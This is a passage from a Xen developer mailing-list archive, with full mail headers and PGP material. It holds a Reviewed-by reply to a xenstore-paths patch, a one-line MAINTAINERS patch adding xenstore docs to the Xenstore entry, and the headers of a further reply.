        b=Odpm2/uQ2LKG3gA9x2mR0pqQRMPzn0S6yAiEbO5hSDFz6iTuBtk7FHMOyJurorheSd
         5AqBwsxBnh6mFd4Byyspum8qVX7ip4nyWuTskcl8uCioMY3fx5jU6MEv9qDvwX7cGSxx
         NwtgYJYOGEiPLvSOsz+UjsgZaAgN1O782tvjlnh5cFtL1Ds988GZdA9hoMZL6q8c/1JN
         GA6431eWZ+yCP8EG47qaEkVqH5Vu7i2j6iTy/xdbx7GyPd03WqUZBEvY7heZGU2WUPa5
         B2I36DtWXbM6JGoYhkHYxqgHIWwSKP7F9MO+RUZQpM10ibawsHJa9NdixHNPKddOwJQ9
         gIBA==
X-Forwarded-Encrypted: i=1; AHgh+RrhMrw38LVian3N/Qhnca3VFldY3K+Dxp4Jin7qweomhsl0veZoSYxU+MOhfSF9coOsS9LiIIeSoOs=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxOuKvZfXp6D41Kh0OBWMd0EFi4vwHhDBrR2irTWTkfbotTD9lN
	AAPz4Wxsmq3uy4iujLeW2s/RWGf46umCkcsii1v0A9+lkZj6pTRSynTku10McNJ3GFI=
X-Gm-Gg: AR+sD12vaG5jB9OyQ2DwQDM3XSWUGJz9DX/1kF7DJYyciJb34eSmjA1G5zONzr3iXfm
	V+GoyLrCcrJytXg8EdM0agk9w4LshT+1mxU+VDesLZa37I0J8ApevO9NMWStAluEoX4v8dZu8x+
	57gx26bRnC26kKiwkllxDtkX8jtVv5MMiiVpY13yElnAjoDiigXKwXNGIAv+iQxDm5aiQanNOhi
	ioZJmY2XNDQbQEadD+Qp3AE5H4ndHcFghZE3kBGGlt/9wvJ0qsBQwWvLueB2NktfkocEJNvyrjv
	a5z0ajEnYOhFby4Yx1FCnx+XB4/Dj/xnpIdMYZBH3kEJk6yRCpLyOwuqvrBO4e4whjChThY2pfQ
	qfEz/KYpWWVligfWpUjtZOhnyQ8E839yUIt0dqOsN596G7NkUZujYCgsMJeogdGnIfNNL5CIZCB
	4433e1saGROh0l5E2ItpwzrEjgyDfGqr7HYpFaUWOXfrK6CC4LDIJCs+cqxhLFTcFdCpkHFGejv
	8dNlQapkSQrI9vWbDB/JYad673sW30CYXOC+iqE2W0=
X-Received: by 2002:a17:907:9445:b0:c15:d0b6:495c with SMTP id a640c23a62f3a-c16b4702c27mr964977566b.29.1784716316482;
        Wed, 22 Jul 2026 03:31:56 -0700 (PDT)
Message-ID: <5dffd887-33d3-4896-9184-447cdde6986f@suse.com>
Date: Wed, 22 Jul 2026 12:31:55 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2] xenstore-paths: Specify ipvX/$INDEX/prefix
To: Tu Dinh <ngoc-tu.dinh@vates.tech>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Stefano Stabellini <sstabellini@kernel.org>
References: <1784712625.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@vates.tech>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <1784712625.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@vates.tech>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------wCceBqoR3crt37q52JYFkZa9"
X-purgate-ID: tlsNG-d62444/1784716317-BC95A757-905B70C9/0/0
X-purgate-type: clean
X-purgate-size: 8256

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------wCceBqoR3crt37q52JYFkZa9
Content-Type: multipart/mixed; boundary="------------70dwX0x9Q01btoBEXxsl0vsG";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Tu Dinh <ngoc-tu.dinh@vates.tech>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Stefano Stabellini <sstabellini@kernel.org>
Message-ID: <5dffd887-33d3-4896-9184-447cdde6986f@suse.com>
Subject: Re: [PATCH v2] xenstore-paths: Specify ipvX/$INDEX/prefix
References: <1784712625.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@vates.tech>
In-Reply-To: <1784712625.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@vates.tech>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3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GkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------70dwX0x9Q01btoBEXxsl0vsG
Content-Type: multipart/mixed; boundary="------------t8bD7doAautre9406LxrxrYD"

--------------t8bD7doAautre9406LxrxrYD
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjIuMDcuMjYgMTE6MzAsIFR1IERpbmggd3JvdGU6DQo+IEluIHRoZSBndWVzdC1yZXBv
cnRlZCBJUCBhZGRyZXNzIGluIHhlbnN0b3JlLCBpdCdzIHVzZWZ1bCB0byBrbm93IHdoaWNo
DQo+IHN1Ym5ldCBpdCBiZWxvbmdzIHRvLg0KPiANCj4gQWRkIGEgc3BlY2lmaWNhdGlvbiBm
b3IgYSBzdWJrZXkgb2YgZWFjaCBJUCBhZGRyZXNzLCBjb250YWluaW5nIHRoYXQNCj4gYWRk
cmVzcydzIHN1Ym5ldCBwcmVmaXguDQo+IA0KPiBTaWduZWQtb2ZmLWJ5OiBUdSBEaW5oIDxu
Z29jLXR1LmRpbmhAdmF0ZXMudGVjaD4NCg0KUmV2aWV3ZWQtYnk6IEp1ZXJnZW4gR3Jvc3Mg
PGpncm9zc0BzdXNlLmNvbT4NCg0KDQpKdWVyZ2VuDQo=
--------------t8bD7doAautre9406LxrxrYD
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJ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qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------t8bD7doAautre9406LxrxrYD--

--------------70dwX0x9Q01btoBEXxsl0vsG--

--------------wCceBqoR3crt37q52JYFkZa9
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpgnBsFAwAAAAAACgkQsN6d1ii/Ey+V
Owf/XQ1A+XZLB3SRc2aTFNGN0/5vNHnf8FcIm6ZniwOHSLnZVfhhhCi/wKoDdyxo4XlY+d8PIqpL
CvXQgnbdu911FEgMLGx+Sp0pdwER9o9oQME+v42lDEQZRrZEBlETdr1ghLkbPox+VSpeBGoKkisT
IhaXhZlqa6ZnVyfAhFwlowNFqlFkVGlOgRPh9OT1O+0ztcsoEsGi7J8QLkigQPq/LCxqW46LlLkv
jdEhOH0aMA/6Wa8pQD0aPEDNlBAvHNB2KGFdOnF+2nWhiVpH/cxJGHvfH5BfvlJrGC0lxr2mlvuJ
tGCIQU6jOxLpuWP9zPZ1RG6GL3cX8j5LS9UnAG9asg==
=RwLk
-----END PGP SIGNATURE-----

--------------wCceBqoR3crt37q52JYFkZa9--


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 10:33:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 10:33:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368321.1617744 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUGC-0007fs-G8; Wed, 22 Jul 2026 10:33:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368321.1617744; Wed, 22 Jul 2026 10:33:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUGC-0007fl-DH; Wed, 22 Jul 2026 10:33:08 +0000
Received: by outflank-mailman (input) for mailman id 1368321;
 Wed, 22 Jul 2026 10:33:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wmUGA-0007fV-PP
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 10:33:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmUG9-005DT0-UM
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 12:33:05 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a609c5f-2eae-0a2a0a5409dd-0a2a450bead4-12
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 12:33:05 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a609c61-b7e8-0a2a450b0019-c387df83b450-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 12:33:05 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 56DF63E09;
 Wed, 22 Jul 2026 10:33:05 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 0C331779B0;
 Wed, 22 Jul 2026 10:33:05 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id PQKdAWGcYGoGfQAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 22 Jul 2026 10:33:05 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784716385; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=j9ULOsGzN7OStvtSkB0LBIDlPdcjrGyhy6+J4ghCv+8=;
	b=fFKRGa/9uP7F1XMv2N9LtUtvR5Oamkyba61yHeZZhARmvwdwPTQ0mJW/DQFDnwMkWJ5OBD
	kMRiwmUmF2JpSwnc6WueFO8ex6VVSeoDvKF/XBw7u79Pz3QeRUmZrpueWWDztvjg06KZKc
	3ic3tvp1tSVFH5EuOu82XJSHXqRy/PI=
Authentication-Results: smtp-out2.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b="fFKRGa/9"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784716385; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=j9ULOsGzN7OStvtSkB0LBIDlPdcjrGyhy6+J4ghCv+8=;
	b=fFKRGa/9uP7F1XMv2N9LtUtvR5Oamkyba61yHeZZhARmvwdwPTQ0mJW/DQFDnwMkWJ5OBD
	kMRiwmUmF2JpSwnc6WueFO8ex6VVSeoDvKF/XBw7u79Pz3QeRUmZrpueWWDztvjg06KZKc
	3ic3tvp1tSVFH5EuOu82XJSHXqRy/PI=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH] MAINTAINERS: add xenstore related docs to the Xenstore entry
Date: Wed, 22 Jul 2026 12:33:02 +0200
Message-ID: <20260722103302.452529-1-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 56DF63E09
X-Spam-Flag: NO
X-Spam-Score: -3.01
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	MIME_TRACE(0.00)[0:+];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	ARC_NA(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	RCVD_TLS_ALL(0.00)[];
	DKIM_TRACE(0.00)[suse.com:+];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from,2a07:de40:b281:106:10:150:64:167:received];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCPT_COUNT_SEVEN(0.00)[9];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:rdns,imap1.dmz-prg2.suse.org:helo,suse.com:dkim,suse.com:email,suse.com:mid]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-42698a/1784716385-192CC9EA-EA85FF14/0/0
X-purgate-type: clean
X-purgate-size: 564

Xenstore related docs should be covered by the Xenstore MAINTAINERS
entry.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 MAINTAINERS | 1 +
 1 file changed, 1 insertion(+)

diff --git a/MAINTAINERS b/MAINTAINERS
index 6bb0662116..ed0ffa608f 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -659,6 +659,7 @@ XENSTORE
 M:	Juergen Gross <jgross@suse.com>
 R:	Julien Grall <julien@xen.org>
 S:	Supported
+F:	docs/*/xenstore*
 F:	tools/helpers/init-xenstore-domain.c
 F:	tools/include/xenstore-compat/
 F:	tools/include/xenstore.h
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 10:44:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 10:44:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368332.1617753 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUQc-00018l-Cz; Wed, 22 Jul 2026 10:43:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368332.1617753; Wed, 22 Jul 2026 10:43:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUQc-00018e-AV; Wed, 22 Jul 2026 10:43:54 +0000
Received: by outflank-mailman (input) for mailman id 1368332;
 Wed, 22 Jul 2026 10:43:53 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmUQb-00017T-Lr
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 10:43:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmUQa-00CpCq-Oe
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 12:43:52 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a609ee5-5cb7-0a2a0a5109dd-0a2a4503cf0e-12
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 12:43:52 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a609ee8-fae8-0a2a45030019-d155dd2eb550-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 12:43:52 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-47f73b1ee02so703305f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 03:43:52 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bd850asm4848112f8f.15.2026.07.22.03.43.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 03:43:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784717032; x=1785321832; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=tixoc2plgCbHaz9e5EYc1AsbKN8vB6LFqSqbzbyNoko=;
        b=Irlg2dnx/tIt8j3hxky9RXcQoB4lnB+aleO0EF1BVlXPcVvR90g557fzCRAkjn+rIQ
         kBhSSblN8+q8pEI7VRI7pzOpbwQio5D67HrwyQEOPHnSYmUj2MPGb/7Z7jTT9TUCR1O8
         Lhlf6MAhK12JEa1EKNfSTs7wkAuuR31UO8SZv7fC4eQAV/PVl23uKAs3iUtv+uCH9w/e
         K9tFGaixwpHdMjWReD4ZFfvI6fWVFPCTsq1DXRNiJQIwuOzYxxkSiD6301fU4s3X6xEN
         yxS8xPWSWxeEpJgZTPSbh5MuwrEdHN890vtYMfw1QzvwwyvEaf7uDTgihRkxreJStkbZ
         r6AA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784717032; x=1785321832;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=tixoc2plgCbHaz9e5EYc1AsbKN8vB6LFqSqbzbyNoko=;
        b=US+Kw5H46jRlzWYl5I+HauYJN98x+FR0UZuhfuNeIXCJQ7Mna98RaL3eMtagpAcagC
         90GZfYkkaLE6BQFTrKquop0J7MZfLsdaAkCOZ26q/VgV0JUJm6+po+YxzN8tQeGRSij1
         0dW06lGjADeqL0Uv+zcOxu19DtbzW7r0CZGQKn2igirySYgTHU5PwSB7sZUA6gKV7V9Y
         VaNJDE43bAwLFv54NPTjKZidYaWqQDVzFYJlChdDjYaZHNCzCYvPL/BoPkEKb8xyNdZ7
         Y2QfEkpKDIKXybfnhVPX5McfUnJcd9Yg4brDlUT/kYBwOj/llVReyKhD1IrznZGTvyJg
         YCKQ==
X-Forwarded-Encrypted: i=1; AHgh+Rr8JhUz11/sG21P5AgmCSycgIpPtwn5W1/YtXcXXOz/yvB2XyVF2HsxCvr1oErlkR3pF8Niwhf7ryY=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxwp0Gc/JliWcxxZIT+XDXQ/kui6Rd29C1Wt8PEeKAO0UflI78e
	zCnSQ0+L1PLUxFHAc9rBDRZ3oCD+nPzSY3OkrLITBNUta6VD95S2AtcX2a4elaRuBBlSU0mjDST
	7KtOXVw==
X-Gm-Gg: AR+sD13jR2FmBXhoqmZ3lkaAtxOMWYmU96O2LGk5+h8+AmwQJmM4fa4hqbbhObd2vkp
	hWnpTo7ASf7/YsKCIcxaFkiiLidulR4OfEEakJ8nBnFw6oufX6pT6DAWbhOroNEMKvm+iLbtidR
	T/QfJ5YqSKQNWKoHMUd0m3N/3wT03bmbkfDBfB0az5qsu51mWwpFdntEyexw8HQs+wse1A7/68r
	GFki9Pnh2ENVz4T7z4rrPdX+mmvq2sGfyGSEFKLoYOI0vy6VeCmmQxICvaLuxlJmDlVpsxxjz9T
	E6pUaBzVqBAHzP4jyihhX3MYUvtDwHaXe9SsT1oVsmpBH5QgJMb/TwiYMtbyWDF1p/vKUOP49cH
	ibgNbasqPTCGWiAbhLXekh1p3yu0KlaoIyNN1oz/2WWO3NE7NkPQGjJiiIR+O8GkrCZXaILGd4i
	xtx0uWnpcE7BYCf/FrUT7QJvQgzKsU73KtzC/21rlFujINfEkTGURFGEHkXjoUUr0FyQ==
X-Received: by 2002:a05:6000:41f1:b0:47f:45fa:98e0 with SMTP id ffacd0b85a97d-47f62344277mr28806923f8f.57.1784717032161;
        Wed, 22 Jul 2026 03:43:52 -0700 (PDT)
Message-ID: <ced5e9f4-b250-4ecc-bb13-5086a9079eef@suse.com>
Date: Wed, 22 Jul 2026 12:43:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] MAINTAINERS: add xenstore related docs to the Xenstore
 entry
To: Juergen Gross <jgross@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260722103302.452529-1-jgross@suse.com>
